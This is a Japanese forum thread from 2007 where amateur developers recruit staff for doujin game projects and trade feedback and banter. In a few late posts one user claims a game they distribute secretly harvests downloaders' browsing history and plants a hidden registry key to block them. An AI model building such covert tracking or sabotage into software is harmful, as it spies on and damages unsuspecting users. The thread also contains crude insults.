[ゲ製作技術]-ゲーム製作メンバー募集スレ　７人目

[ゲ製作技術]-ゲーム� ..

123:名前は開発中のものです。
07/12/14 06:26:58 LF6GZeYD
>>108
前見たときよりスタッフが増えてるな
しかしまだまだ足りないのか……
Wikiの開発情報見ると結構進んでるみたいだけど、それでも人はもっと必要なのか？

あと、大雑把な見積もりで良いので
いつごろ完成する予定なのかをサイトに書いた方がいいと思う

124:ふかい ◆PCqyuBObq6
07/12/14 08:41:42 bpHI4tm6
>>121
ありがとうございます。
完成予定日はまだ未定です。
現状のペースで行くと２年以上はかかると思います。

体験版（序章部分、ゲーム時間で３～４時間）の公開を
スタッフ間で９月に予定していたのですが
現在でもそこまで進んでいないのが現状です。

>>123
はい。必要です。
スタッフが足りないと言うよりは、
ゲーム製作に時間を使える人が少ないという状態です。
基本的に、私生活を優先してもらっているので、ノルマなどは一切ありません。

なので
シナリオで言えば、１週間にtxt形式で10kb書ければかなりの戦力となる状況です。
（掲示板の返信抜きで計算　現在のエースのｋー６さんのペース（返信含めれば40kbほど））

プログラムなら、一週間で３０行ほど書ければ主力になれる状況です。

また、ゲームの趣旨としての意見交換は結構進んでいるので、
大筋が出来ていないとか、仕様が決まっていないとはでは無いです。

完成予定日の件、了解しました。
サイトに反映させていただきました。

アドバイス有難う御座います。

125:名前は開発中のものです。
07/12/14 16:18:26 lMF8bAJA
ホームページ見た
見た目はレベル高いと思うが世界観が複雑すぎないか
この膨大な設定がちゃんと生きるの？

126:名前は開発中のものです。
07/12/14 16:23:06 lMF8bAJA
下げ忘れた

上のは>>108に対してのレス

127:ふかい ◆PCqyuBObq6
07/12/14 22:01:34 bpHI4tm6
>>125
見てくれてありがとうございます。

設定を最初に決めてから話を作ると言う形でなく、
話を表現する上で設定が必要となったという経緯があります。
その為、設定が完全に死ぬと言う事はないと思いますし、
そうならないように頑張りたいと思います。

また、複雑に感じさせないように
ゲームでの流れや表現の仕方に気をつけていきたいと思います。

非常に参考になりました。

128:名前は開発中のものです。
07/12/15 23:39:19 jeAioTYx
>>10kb書ければ

よくこういう表現を見かけるが、
面白いシナリオは文章量じゃねーよ、とくにRPGはな

129:名前は開発中のものです。
07/12/16 00:36:41 4s1hKUp6
URLﾘﾝｸ(www.girlscity.jp)

130:名前は開発中のものです。
07/12/16 15:27:04 QXHQJoy1
ドラクエだとテンポの良い戦闘とか、テイルズだとアクション戦闘がうりだったりするが
コレは何がうりなのかがわからんな。地形にこだわってるようだから、地形を利用した攻撃とか
海付近なら強力な水系魔法が使えるとかすればいいのかもしれないが、
もし、戦闘にうりが存在しないのなら５人は多すぎるな。１～２ターンで終わればいいとかではなく
プレイヤーが５人分頭に入れておかなければいけないのがダメなんだ。

131:ふかい ◆PCqyuBObq6
07/12/16 16:49:19 jEAC+b1g
>>128
そうですね。
面白いシナリオという面ではそうだと思います。

>>124で書いたのはあくまで>>123のスタッフが足りないのか？
に対する返信ですので、
何故足りないのか？という理由の為に出したと思って頂けれたら嬉しいです。

ただ面白いシナリオという点では、現状でかなり良い方向に行っていると思ってます。
あくまで私の主観ではありますが、当初の予定を遥かに超えています。

サンプルはこちら
URLﾘﾝｸ(www.deepmukyo.sakura.ne.jp)

現状ではシリアス面は強いんですが、
ギャグ方面とかのギャルゲ的な要素が苦手な方が多いので
そこらへんに強い人には特に参加をしてもらいたいと思ってます。

132:名前は開発中のものです。
07/12/16 17:03:23 sGi0hsQr
とりあえず体験版（というかα版？）のリリースに期待

133:ふかい ◆PCqyuBObq6
07/12/16 17:22:16 jEAC+b1g
>>130
戦闘面でのうりは
1、自分の好きなプレイスタイルが出来る
・攻略する順序が特に無いので、自分のレベルに合わせて敵を選べる（ルナティックドーン系）
・勝敗どちらのルートであっても話が続いていく。
・職業　　詳しくは
　URLﾘﾝｸ(www.deepmukyo.sakura.ne.jp)
　を参照してください。

2、戦略性のあるゲームシステム
・自分より強敵に対抗できる連携のシステム。
・装備品選び（アーマードコアの様な選択肢が結構ある）
・陣形のシステム。
・基本的に強力なスキルの連発が出来ない。
　特徴が結構変わっていると思うので、詳しくはwikiの
　URLﾘﾝｸ(www27.atwiki.jp)
　の下の方にある戦闘システムを参照してください。

3、テンポが良い
・HPの設定が低めな為、ターン自体あまり掛からない。
・操作面を重視する。
・戦闘後、魔法を使用する為のEP、LP以外は回復する。

を目指しています。

ＲＰＧというより、シミュレーション的な概念に近いと思いますが、それを強要する訳でなく
それぞれのプレイスタイルにあったやり方が通じるようにしたいと思ってます。

ただし、実験的な要素が多いので実際に導入して調整してみないとなんともいえないです。
現状ではかなり複雑なので、うまくいかない所はバッサリ削除したりすると思います。

134:ふかい ◆PCqyuBObq6
07/12/16 17:27:29 jEAC+b1g
>>130
そういった感じで、戦闘にも力を入れいます。

プレイヤーの５人に関しても（実際には１人～５人）
組んでみて駄目だと思ったら減らすという選択肢も考える事にします。
またテストプレイで出来る状態になったら、ご協力お願いしますね！

地形の案、良いですね！参考にさせて頂きます！

135:名前は開発中のものです。
07/12/16 20:49:34 RFQ8wCPA
では次の人どうぞ

136:名前は開発中のものです。
07/12/16 23:52:18 i7f0WwoE
ふかいは自分のスレでやって下さい。

137:名前は開発中のものです。
07/12/17 09:49:19 ivQJ+m7a
これは面白そうだな
しかし募集のハードルが高すぎだろ？
７～８年前の製品並じゃねえか
もうすこしハードル下げないと人集まらないでしょ　常考

138:名前は開発中のものです。
07/12/17 17:01:16 1IgzYBwa
これがフル募集でなければ行ってたかもしれないんだけどな

139:名前は開発中のものです。
07/12/17 18:41:42 wK0Bv78m
完成作品も実績も0なのにいきなり超大作ｗ

140:宅配
07/12/17 21:41:00 0xI9jJKc
URLﾘﾝｸ(gpss.jpn.ph)

こんな感じの待ちうけロビーって難しいですかね？

141:名前は開発中のものです。
07/12/17 22:51:47 703PSa/+
どうでもいいが早く完成させないと寿命が尽きるぞ。

142:ふかい ◆PCqyuBObq6
07/12/18 08:59:26 qKccV42o
>>137
有難う御座います。
募集のサンプルはあくまでサンプルです。
それに満たなくても問題ないです。

>>138
フル募集というのは、全項目という意味ですか？
シナリオとプログラム以外は自分でも出来るので問題ないんですが
早く作る為という点で、募集しています。

シナリオが無理な理由は、自分がやるとクオリティが下がる為。
プログラムが頑張れば出来ると思いますが、勉強にかなり時間が取られ、開発が大きく遅れる為です。

>>139
それは大丈夫です。
コンシューマのツクールやデザエモンでは完成品を作って、グランプリに応募もした事もあります。
とりあえず、完成させる意欲と言う点では問題ないと思います。
当然ですが、入賞を果たした事はないですｗ

ちなみにドットうちとかはある程度出来ます。
レベル的にはＳＦＣのＳＤガンダムＧＸぐらいのグラフィックなら可能です。
（実際にデザエモンキッズでＳＤガンダム作りました）

>>141
了解です。頑張ってやって行きます。

143:名前は開発中のものです。
07/12/18 10:06:16 SmgXdFVQ
>>140
このスレで聞かれても困るが
とりあえず簡単ではない

Flashのことはよく知らんけど

144:名前は開発中のものです。
07/12/18 13:20:05 fd4lZO9L
つーか簡単かどうかも聞くようじゃおわっとるｗ
そもそも絵描きなんだろ？
そんなこと気にする前に絵をあげろよ。
絵が良けりゃだれか作ってくれるかも知れないじゃん

145:名前は開発中のものです。
07/12/18 16:57:30 5r0lfmec
ぶっちゃけむずかしいかどうかは重要じゃない
それにみあった報酬があるかどうかだ
それは金銭じゃなく青果物に満足できるかどうか

146:名前は開発中のものです。
07/12/18 17:10:45 0UJSdTMc
では、リンゴ６つでお願いしよう。

147:名前は開発中のものです。
07/12/18 17:38:12 kG7JKpY/
梨の方が甘くておいしいよ！

148:名前は開発中のものです。
07/12/18 19:03:26 7kSndE1W
絵は前見たけど本当に作りたいのはツールで
そのサンプルゲームを作ってくださいなんて言われたらねぇ…

149:名前は開発中のものです。
07/12/19 00:55:49 v6NMh8JA
汎用のツール一個作るよりも、
そのツールで動く（予定）のゲーム１０本バラで作る方が
遙かに楽ってのもわかってなさそうだしなあ。

150:宅配
07/12/19 11:44:57 AWYoTUnn
いや、単に今後ＰＧの手を離れたときに自分でも新作や改変が作れるようにと思ったんです。
FLASHなら改造とか自分でも何とかなりそうなのでツールでなくても良いんですが・・・
そんなわけで今はツールでなくて普通にゲームをFLASHで作って貰えないかと思ってるんですが。

151:名前は開発中のものです。
07/12/19 14:28:31 0/PYdMgo
今の時期にflexじゃなくてflashという選択がそもそも・・・

152:宅配
07/12/19 15:46:01 dFH3wmtN
よく分からないんですけどFLASHでもAS3.0使えば一緒なんじゃないんですか？

153:名前は開発中のものです。
07/12/19 16:09:00 UaqWT912
まずだれかのもとで軽いゲーム作っれ
話はそれから、たぶんそれでも裸足でパンツ押さえって逃げ出す
生存率３割ぐらいなんだぉ

154:名前は開発中のものです。
07/12/19 16:40:15 UaqWT912
・職別相性表　ver.β

企　プ　シ　絵
企画 ×　×　△　○
プログラマ ×　△　△　×
シナリオ △　△　△　△
絵 ○　×　×　？

<<<壁>>>
音　

企画同士は構造上仲良くできない
プに対しては相互理解不足による争いが多い
絵とは組んでる人よく見かけるので良いのだと判断（むしろ必要だからか？）

企画とは構造上犬猿の仲か（？）喧嘩するほど仲がいい
プログラマ同士は悪くないが同人で一緒にやるのは人を選ぶ
シナリオとは同じ文章をあやつる職なので共通点がある

シナリオはシナリオ単独という人はどっちかというと珍しいのでオール△
むしろ同人ゲームでシナリオのみってのはよほど腕を認められてるか･･･ただの厨だと思う

絵は好き嫌いの差が大きい、役職の相性というより相手がおもしろいかどうかだと思う

音は相性が良くも悪くも無いというか深く関わらない

155:名前は開発中のものです。
07/12/19 16:43:38 UaqWT912
こんなんつくってみた･･･って崩れてるorz
　　企　プ　シ　絵
企　×　×　△　○
プ　×　△　△　×
シ　△　△　△　△
絵　○　×　×　？

<<<　　　　壁　　　　>>>
<<<こえられない壁>>>
<<<　　　　壁　　　　>>>

音　

156:名前は開発中のものです。
07/12/19 17:05:29 dXHMgQY2
>>29で理由を挙げて、絵を見せるのは後にしたいって言ってたけど
やっぱり先に絵を出さないと、応募者は集まりづらいと思う

応募者が大量に来てしまったら、そのとき厳しく選別すればいいんじゃないか？

157:名前は開発中のものです。
07/12/19 18:38:51 UaqWT912
俺もそう思う
良くわからないかもしれないけど応募者の総数が増えれば望む人にあえる確率も上がる
そうでない人がくる確率はもっとあがるけどそこで選ぶ目を身につけるのは2chゲ製では必須
前回の失敗は最初から逃げるの前提のＰＧを選んでしまったこと

ちなみにＳＴＧでいいならいっしょにやってほしいもんだ
（それでも半年以上のつきあいになりますが）

158:名前は開発中のものです。
07/12/19 18:39:45 vTSN7BCf
>>154
シナリオと絵の相性が矛盾してるよ

159:名前は開発中のものです。
07/12/19 18:53:25 UaqWT912
脳内補完求む
つーか他の人の意見も聞きたいんで独断と偏見で修正とかもよろ

160:名前は開発中のものです。
07/12/19 19:11:23 qcv1j7kj
企画なんか不要。消しちまえ、企画という雑用係ならいてもかまわんけど

161:名前は開発中のものです。
07/12/19 19:41:28 dXHMgQY2
>>159
そもそも役職同士の相性なんて単純に図式化できねーよ、というのが俺の意見

162:名前は開発中のものです。
07/12/19 21:04:40 SNebMhgh
うちのサークルは音屋がやたら深く関わってる件

163:名前は開発中のものです。
07/12/19 21:35:46 eBbdzsjz
プログラマと絵師は仲いいよ。
ゲーム完成させる上でお互いに必要な技術持ってるからな。

あとはイラネ。音はどこかで拾ってくる。
企画とシナリオは立ち上げのきっかけになるかもしれんが、
完成させる上で役に立った覚えがない。

164:名前は開発中のものです。
07/12/19 21:38:37 rJTcs0bf
だから語るｽﾚにカエレｗ

165:名前は開発中のものです。
07/12/19 21:53:00 0/PYdMgo
そんなのその時のメンバー次第だろ
お前らの弱小サークルの話なんて聞きたくもないわ
語るスレいけ

166:名前は開発中のものです。
07/12/20 00:03:30 6UZct14B
>163
ずいぶん程度の低い製作ばかりご経験になっているようでｗ

167:名前は開発中のものです。
07/12/20 02:56:19 w3A04uu+
弱小だろうが、中堅だろうが、コミケにでてるようなサークルは
印刷費、メディア代、製作費、参加費用その他もろもろで儲け０だろ。

168:名前は開発中のものです。
07/12/20 03:52:51 +6+UU9mi
コミケといえば、ACT系の同人ソフト（ノベルじゃないソフト全般）ってなんで皆あんなに安く売るの？
おれ毎回同人誌、ソフト、その他いろいろ買ってるけど、体験版数百円、製品版1000円って、
作業量に対する見返りが、他ジャンルに比べて明らかに少ないよね。

ゴミみたいな同人誌でもジャンル買いで買ってる身としては、もっと高くてもいいと思うんだが。
一番遊べるジャンルが一番安いって、なんか腹立たしい。てか同人誌高い。

169:名前は開発中のものです。
07/12/20 03:57:54 Wa9rCPaN
雑談スレでもいけ。ここは募集スレだ

170:名前は開発中のものです。
07/12/20 04:27:57 DYGSMZk7
簡単な話、紙は確実に見れるから。
ACTのゲームを買って家でプレイしても起動しない。
或いはバグだらけでゲームになってないという危険性がある。

同人では動作保障やその後の対応が出来ず逃げ売りになるから
価格自体が安いし売れない。

動くかどうか分からないオリジナルのプログラムより
確実に動作するツクールや吉里吉里・Nスクなどの作品の方が人気高いのはそのため。

171:名前は開発中のものです。
07/12/20 05:01:59 D4OoyvJ3
製作者も熱心にパッチ当てる人もいれば
「俺のPCではちゃんと動くんだよ、そんなもん知るかボケ」で済ます人もいるからな

コンシューマーレベルと言わずともちゃんと動作しないと
内容云々以前にゴミでしかない

172:名前は開発中のものです。
07/12/20 08:14:50 KUPMQuwp
>>168
同人誌は単に印刷費用で高くなるんじゃないか、と思ってる
ノベル系の同人ソフトが高いのはよくわからん

安いといえば音楽系（サウンドトラックやアレンジCD）も安いね

173:名前は開発中のものです。
07/12/20 08:41:46 BoVdQ1SP
とにかく今分かったのは
語ってる連中とはサークルで仲良くなれそうにない
ここ募集スレっていう常識さえ通じないんだから

174:名前は開発中のものです。
07/12/20 10:35:37 +u2APxyN
うん

175:名前は開発中のものです。
07/12/20 13:10:59 aBdStwX/
URLﾘﾝｸ(www.nicovideo.jp)
まぁまぁこれをみておちついてくれ

176:名前は開発中のものです。
07/12/20 13:30:29 BoVdQ1SP
>>174
うんじゃないだろ！はいだろ！
わかったか？

177:名前は開発中のものです。
07/12/20 15:43:23 aWbda4O+
俺は基本情報保持のプログラマだけど、需要ある？
アルゴリズムは得意。

178:名前は開発中のものです。
07/12/20 17:38:37 +AHjOOGz
>>173
ケチをつける前に、お前さんが率先して保守に徹すればいいと思うんだ
そうすればみんな保守だけしかしないようになるよ！　たぶん

>>177
「アルゴリズム得意」がゲーム開発に直接役立つのかどうかは微妙なところだ
もっと他の部分をアピールすべき

179:名前は開発中のものです。
07/12/20 19:19:22 1+d1X2Ts
>>177
アルゴリズムが得意っておま、プログラム=アルゴリズムだろ・・
>>176の言うように、ゲームに活かせるのか微妙だし

180:名前は開発中のものです。
07/12/20 19:43:26 CUWApPnT
お前等は「アルゴリズムが苦手」な奴等のソースを見たこと無いから
そんな事言えるんだｗ

181:名前は開発中のものです。
07/12/20 19:56:07 GxXPWeMV
一般の人から見たらアルゴリズムうんぬんよりは
「○○を作った事があります」と品付き(小品でもおｋ)
で上げた方が食いつきはいい気がする。

でもアルゴリズムが理解出来るなら自分で作った
方がいいかも。

182:名前は開発中のものです。
07/12/20 19:58:20 pWV7K4qw
うごきゃいいｗ

183:名前は開発中のものです。
07/12/20 20:29:10 1+d1X2Ts

プログラマー間では通用するかもしらんが、
みんなで作るんだから、>>181の言うように、実際に動いてる何かを見せたほうがいいな

184:名前は開発中のものです。
07/12/20 20:32:18 1+d1X2Ts
何かみんな叩いてるようだけど、みんなアドバイスだから
177参加しろよ

185:ふかい ◆PCqyuBObq6
07/12/20 22:30:45 hifO+TW6
>>177
需要ありです。
>>108の件でもよかったら連絡ください。

186:名前は開発中のものです。
07/12/21 00:06:30 siOMsOb+
>>108
見たとき思ったけど
なんでRPGツクールなのにrubyなんだ？
最近のRPGツクールはrubyで動いてるんか？

187:宅配
07/12/21 00:22:21 8LTPHq24
>>186
RPGツクール版ＶＢＡみたいなものらしいよ。

188:名前は開発中のものです。
07/12/21 00:22:53 KfZGsgGd
>>168
職種柄、人気がないから
絵描きのサイトはカウンタ回るけど、プログラマのサイトはカウンタ回らないだろ

絵描きが中心になるとある程度の売れ行きがあるのが分かるから強気の価格設定に出来るけど、
プログラマが中心になると、売れるかどうかなんて未知数
なので、ものすごく弱気の価格設定で売り出すことが多くて、
一端売れ始めても特に値上げの理由がないから据え置きなことが多い

東方も、紙のほうが軽いって理由で1000円にしているはずだから
500円硬貨がなくて500円紙幣なら今でも500円だったかもしれない

189:ふかい ◆PCqyuBObq6
07/12/21 00:25:56 3NRiCUTF
>>186
そういうことになります。

正確には、　ＲＧＳＳといって
オブジェクト指向スクリプト言語『Ruby』を
ゲーム開発用途に特化させたものと言うのが正しいみたいです。

基本的にＲｕｂｙと変わりは無いみたいです。

190:名前は開発中のものです。
07/12/21 01:12:18 C6n2UoQu
500円だと原価割れだなぁ

191:名前は開発中のものです。
07/12/21 01:15:35 Jo2a6K/I
いや、ぶっちゃけ、同人ソフトはコピーされるのが前提だから…。
そこで知名度を稼ぐのが目的だから、採算を取ろうとは考えてないのよ。

192:名前は開発中のものです。
07/12/21 03:42:56 2eNod8na
割れ物がネット上であがる＞知名度を上がる＞割れ物がもっと出回る

本末転倒じゃんｗ

193:名前は開発中のものです。
07/12/21 04:56:03 LUIsM4/R
コンシューマゲームも任天堂ソフトが売れて
「サードのソフトが売れないのは何故か」と言うけど

任天堂のソフトは新品を定価を買う客層で
ゲーマー向けのゲームは全部中古屋流通、PSPは違法コピーってだけの話

定価で買ってくれる客にはアピールせずに
コピーして手に入れる連中に宣伝して何の意味があるのやら

194:名前は開発中のものです。
07/12/21 07:37:29 FgW+iiGt
募集スレでーす

195:名前は開発中のものです。
07/12/21 09:14:22 C6n2UoQu
募集スレ浮上しま～す

196:名前は開発中のものです。
07/12/21 18:15:52 5mcXK/cn
108を見たけど、とてもおもしろそうですね。
シナリオとか考えてみたいんですけど、直接メールとかで送ったほうが
いいのかしら

197:名前は開発中のものです。
07/12/21 18:31:59 6qMSS8Rz
【ジャンル】
中世ヨーロッパ風ファンタジーRPG（クォータービュー）
基本的には王道の、店で武具を買ったり、装備したり、経験値貯めてLVUPしたりといった感じです。
【ゲームの内容】
ある日主人公の住む村の住民が突然消えてしまう。
村人はどこにいったのか、その謎を探りつつ、背後に隠されていた歴史の謎を追うというストーリー。
ワールドマップ以外のマップと戦闘形式は、クォータビュー。
戦闘は、セミアクティブタイムバトル（ゼノギアスの様な）形式で、
タイミング入力方式での、必殺技があります。
【 Web.Site/Wiki. 】
URLﾘﾝｸ(www11.plala.or.jp)
【募集担当・人数】
ドット絵製作協力してくださる方を募集します。
【　仕事. 内容　】
今は、私がドット絵を描いていますが、そのドットを修正してくださったり、
色合いとかについてアドバイスして欲しいと思っています。
人数はとりあえずお一人とさせて頂きますが、
もし必要であれば、引き続き募集したいと思います。
製作枚数や、期限は設けませんので例え１枚でも協力して頂ければ嬉しいです。

198:名前は開発中のものです。
07/12/21 18:32:34 6qMSS8Rz
【現在担当・人数】
ドッター：２人　プログラマー：１人
マップ：１人　キャラデザイン：１人
サウンド：１人　シナリオ：２人
HP作成管理：１人

【依頼主の担当.】
ドット絵、及びBGM製作をしています。
また、チームリーダーとして、格スタッフ間のやりとりや、
作業指示をさしてもらってます。
【　　　待遇　　　..】
フリーウェア公開を予定していますので、
本当に申し訳ないのですが、無償でのお願いとなります。
【　製作. 期間　】
出来る限りで構いません。１週間でも３日でも。
ゲームの製作予定期間は、１～２年をみています。
【.　連.　絡.　先.　】
以下のアドレスにメール、もしくは当HP内の掲示板でご連絡ください。
ここのレスでも構いません。
mail:kia2003@hotmail.co.jp
【イメージ画など..】
HP内のキャラクターのコンテンツを見ていただければと思います。
スクリーンショットは、キャラドットと戦闘画面のマップはサンプルですが、
マップはこういう感じになります。
メンバー専用HPがあり、そちらに公式HPに公開していない画像等があります。
ご希望があれば、お見せしますので、お手数ですがご一報ください。
【　コ　メ　ン　ト　】
読んで頂きありがとうござます。
不明な点があるかもしれませんが、なにかあればご連絡、
もしくはレスください。
失礼します。

199:名前は開発中のものです。
07/12/21 23:24:15 tzQJTY5f
あ、あれ？

200:名前は開発中のものです。
07/12/21 23:27:16 9fZaQM1f
声が、遅れて聞こえるよ。

201:名前は開発中のものです。
07/12/22 06:33:18 5m9LHgLL
>>3
時計塔のひみつ完成したのか。おめでとう。

202:名前は開発中のものです。
07/12/22 14:41:04 hmYquk2n
というか既に完成していたんじゃ・・・

203:名前は開発中のものです。
07/12/22 23:23:42 dee/YD/W
この掲示板における悪辣ないわゆる「叩き」による
ゲーム開発の業務妨害行為（刑２３３/２３４）に対する
情報提供をお待ちしております
有料で販売していたソフトを公開中止に追い込まれました
現在も無料ですが広告収入を得ており業務は継続し
民事上の損害額は発生していると考えています
よろしくお願いします
URLﾘﾝｸ(darkhouse.milan.jp)
hogehogent@hotmail.co.jp

204:名前は開発中のものです。
07/12/22 23:32:30 fYZ5DVoW
「倖田來未　うんこ」まで読んだ。

205:名前は開発中のものです。
07/12/22 23:50:04 NqisS1wp
>>203
操作方法が謎すぎる。
斜め移動不可能なのか？

206:名前は開発中のものです。
07/12/22 23:52:15 NqisS1wp
ってマルチかよ。

207:名前は開発中のものです。
07/12/23 01:23:02 JodDh+8I
文字化けしてて何が何だかわからなかった件

208:名前は開発中のものです。
07/12/23 08:26:23 8FZZvVmD
前から思ってたんだが
203の法律相談を受ける弁護士がかわいそうだ

小額訴訟すらも成立しないんなら諦めろよ……

209:ふかい ◆PCqyuBObq6
07/12/23 18:52:22 oV9cUEfv
>>196
>>108　を見てくれて有難う御座います。
今からでも良かったら、メール欄のあて先までメール頂ければと思います。

他に用件やご質問などがありましたら
ｽﾚﾘﾝｸ(gameama板)l50
に気軽に書き込んで頂ければ返信します。
宜しくお願いします！

210:名前は開発中のものです。
07/12/23 20:46:20 tnd2Kzyl
>>208
笑わせるな
つまり悪人としてはやめてほしいだけだろう

211:名前は開発中のものです。
07/12/23 21:11:14 aokbejuB
早く裁判にならないかとwktkしてるんですけどまだですか？

212:名前は開発中のものです。
07/12/23 21:12:28 6L3EItck
なんだスレ上げ荒らしがいると思ったら>>203だったのか

213:名前は開発中のものです。
07/12/23 21:16:31 8FZZvVmD
>>210
お前は本気で裁判が成立すると思ってるのか？

214:名前は開発中のものです。
07/12/23 21:35:13 2Gxx+ClB
よくわからないけど裁判したいならすればいいじゃん
そこを誰も否定してないんだから
そんな妄想に興味もってるから人集めできなんじゃねーの？

215:名前は開発中のものです。
07/12/23 21:53:45 sYkuqm1i
弁護士に証拠がないとヌンヌン言われたから証拠を作り出そうとしてるんだと思われ
でも営業スマイル＆ていのいい断り文句ってきづかないといけない
ぶっちゃけアホだろお前って言ってくれるここのやつらのほうがやさしいんだぞ
弁護士とかお客さんだから口は丁寧だけど頭の中では「こいつアホスｗｗｗ」って吹くのガマンしてる
それにきづかないといつまでも底辺乙ってことになる

216:名前は開発中のものです。
07/12/23 22:02:32 j05CibA3
大量の人数募集してゲーム自体は全く進まず「こいつアホスｗｗｗ」と思われてる奴なら
俺の7レスほど上にいるな。

217:名前は開発中のものです。
07/12/23 22:05:42 8XoLX3+3
24ページマンガをたった1話描くのに10年かかるキモオタｗ

218:名前は開発中のものです。
07/12/23 22:07:44 a745ZQah
はいはい毎度ご苦労様。

219:AX
07/12/23 22:08:53 rcJ4oJPu
どうもキモオタです

220:名前は開発中のものです。
07/12/23 23:10:41 tnd2Kzyl
>>215
作るんじゃなくて、探してるんですよね、当人を
今回短期的に差し替えたバージョンは
２ｃｈのアクセス履歴を洗ってます
でも、サーバーに送られてきたデータは全てシロですね・・
もうここにはいない？

221:名前は開発中のものです。
07/12/23 23:24:09 tnd2Kzyl
あ、今回ＤＬした人には専用のレジストリキー打ってますから
ＯＳを再インストでもしない限り二度とプレイは出来ませんｗｗ
２ちゃんねらー滅びろ

222:名前は開発中のものです。
07/12/23 23:31:46 2Gxx+ClB
よくわからんけどがんばれ

223:名前は開発中のものです。
07/12/23 23:41:01 d3QFxNK6
レジストリキー削除すればいいやん

224:ふかい ◆PCqyuBObq6
07/12/23 23:50:00 oV9cUEfv
>>216
うん。そうですね。
内情を良く知ってる人なら特にそう感じると思う。
心当たりもあるし、正直いって心にチクっと来た。

でも、ありがとう。
図星を指されて、きちんと認識する事ができました。
やはり勉強になる。
２ｃｈの様なこういう率直な意見を聞ける場はやっぱり必要ですね。

225:名前は開発中のものです。
07/12/23 23:54:03 tnd2Kzyl
>>223
ちょっとレジストリエディタで見てみましたけど、
GUIDの後ろのフォルダの中ですから
手動じゃ厳しいのでは
後、正規版と似たようなコードになってますから、
どれを消せばいいか分かるかどうか
理屈上は確かに「レジストリキー削除すればいいやん」ですがね
まぁつまらんゲームですし他へ行ってください

226:名前は開発中のものです。
07/12/23 23:57:35 9fZcvDuD
>>ふかい
がんばりなさい。諦めなければ必ず完成する。
私の友人は10年間かけて完成させた。陳腐化していたが、多くの友と多くの支援者そして
大きい信用を得た。全世界において

227:ふかい ◆PCqyuBObq6
07/12/24 00:02:05 VBp4/o/Y
>>226
有難う御座います。

完成までは必ず漕ぎ着けます！
ただし、最後の「全世界において」でちょっと噴いてしまいましたｗ
ちょっと恥ずかしくなっちゃいましたがありがとうです！

228:名前は開発中のものです。
07/12/24 00:18:00 PoEi410m
その友人は、英語が母国語でない外人です。
彼はどの外国語からでも共通に使えるようなユニバーサルなインターフェイスを
付け加えたのです。そして人柄も良かった。

229:名前は開発中のものです。
07/12/24 00:20:29 F4nBnH30
>>226を読んで噴くふかいには何事も成し遂げることはできないと確信した。

230:名前は開発中のものです。
07/12/24 00:26:48 XRAEWnTK
つーかふかいのゲームは全然面白そうじゃない
クソゲー作って何の意味があるの？

231:ふかい ◆PCqyuBObq6
07/12/24 00:45:27 VBp4/o/Y
>>228
ご説明有難う御座います。
「噴いた」というのは疑いとかではなく、
その言葉自体を私に向けてくれていると感じてしまったからです。
あくまでご友人の話ですね。
ただ、そうやって言ってもらえて凄く恥ずかしかったですｗ
純粋に嬉しかったのもあり、恥ずかしかったというのもあり……

紛らわしい言葉を使い申し訳ありませんでした。
そして、ありがとうございます。

>>299
不愉快な思いをさせてしまったみたいですね。
申し訳ないです。

>>230
そういうのは本スレに書いてくれると嬉しいです。
ｽﾚﾘﾝｸ(gameama板)l50

本スレの方にその返信を書いておきますね。

232:名前は開発中のものです。
07/12/24 01:24:00 r6EUD1ge
ところで話は変わるけどよ、
格闘ゲームのROM画像抜き出す違法行為をやってた連中の内の一人が
人が抜き出した画像を無断で使ったのを注意されて
逆ギレしてコミュニティごと潰した事件は知ってる？

あれにゃ笑ったね、犯罪者が犯罪者非難するのが凄く滑稽でした。

233:名前は開発中のものです。
07/12/24 01:25:46 Gw03/OiG
まぁ、犯罪者は何度でも同じことをやるから、今でも犯罪者だろうな。
どっかの誰かさんみたいに学習能力ねぇし。

234:名前は開発中のものです。
07/12/24 01:33:11 W1fSP+oe
>>231
「とっとと消えろ」と言われなきゃ
自分が嫌われてると気付かないほど、お前はアホなのか？
それとも嫌われてるの知ってて嫌がらせしてんのか？どっちだ。

235:名前は開発中のものです。
07/12/24 01:56:59 dE0tOFwi
俺は嫌ってないけど

236:名前は開発中のものです。
07/12/24 02:00:40 nviBUek2
>>235
じゃぁ、お前が絵を描いてやれば万事安泰だな、よかったね
続きは本スレでどうぞ、さぁ消えろ。

237:名前は開発中のものです。
07/12/24 02:14:45 EVKrdwdj
年末だからってカリカリするなよ。
スルーしないところを見ると、よっぽどみな暇とみえる。

それより募集はどうした？

238:名前は開発中のものです。
07/12/24 02:22:49 sZ1YScdt
年末だから怒ってるってどういう意味なんだｗ
相手がふかい（不快）だから言ってるだけなんだけどｗ

239:名前は開発中のものです。
07/12/24 02:26:08 dE0tOFwi
おいおい
それはいくら何でも同意しかねるぞ…

240:名前は開発中のものです。
07/12/24 02:30:27 vWn7amlx
あんまり長々と一人で募集するのは他の募集主に迷惑だし荒れるので
みんなが使うメンボスレですので常識が無いと思われますよ。

僕は絵描きなので
続きは本スレでやっていただければ手伝う気も起こると思います。

241:名前は開発中のものです。
07/12/24 02:34:33 +T7UQh5C
とりあえずクリスマスだし雨か台風がくるように祈ればいいと思う
東京近辺の直下型地震ならガチ

242:名前は開発中のものです。
07/12/24 02:39:09 MgQsjspJ
そんなにマンコ欲しいなら俺のに挿れるかｗ

243:名前は開発中のものです。
07/12/24 02:46:58 dE0tOFwi
>>241
同意

流れ変えたいなら募集主が来ないとな
それと無駄にレスしなきゃ良い
煽っても効かないみたいだし
興味無い奴はほっとけ
本人も本スレに誘導してるみたいだし
これ以降、この話題は>>231の本スレへどうぞ

これで満足か単発
切ないクリスマスを一緒に祝おうぜ
なっ！

244:名前は開発中のものです。
07/12/24 02:51:07 xy2rw4Rq
だがら今年はクリスマスは開催されないんだって。w

245:名前は開発中のものです。
07/12/24 02:51:39 +T7UQh5C
>>242
ヤリマン乙

>>243
呪うのまちがいだろｗｗ

246:名前は開発中のものです。
07/12/24 07:53:01 Ai9ou8l8
お前らなぜそんなにクリスマスを気にするんだ！
クリスマスなんて所詮は祝日の一つだろ！
すっぱり忘れてテレビでも見てれば幸せになれるよ

247:名前は開発中のものです。
07/12/24 07:54:55 JDCSguuX
197　及び、198の募集主なのですが、
意外となんの反応も無くスルーされてしまって、
ちょっと悲しいというかなんというか。
そんな自分になにかコメントを、なんて言うとこれもうっとうしい感じ？

248:名前は開発中のものです。
07/12/24 08:06:16 FLQH3TGx
皆興味がないだけだ、構って欲しいならvipでやってろ。

249:名前は開発中のものです。
07/12/24 08:51:07 Ai9ou8l8
突っ込みどころがないから何も言われてないだけじゃね？
とりあえず期待はしている

250:名前は開発中のものです。
07/12/24 09:07:39 oti9IdA7
このスレでのレスの貰い方

無謀なことを書く
ずうずうしい事を書く
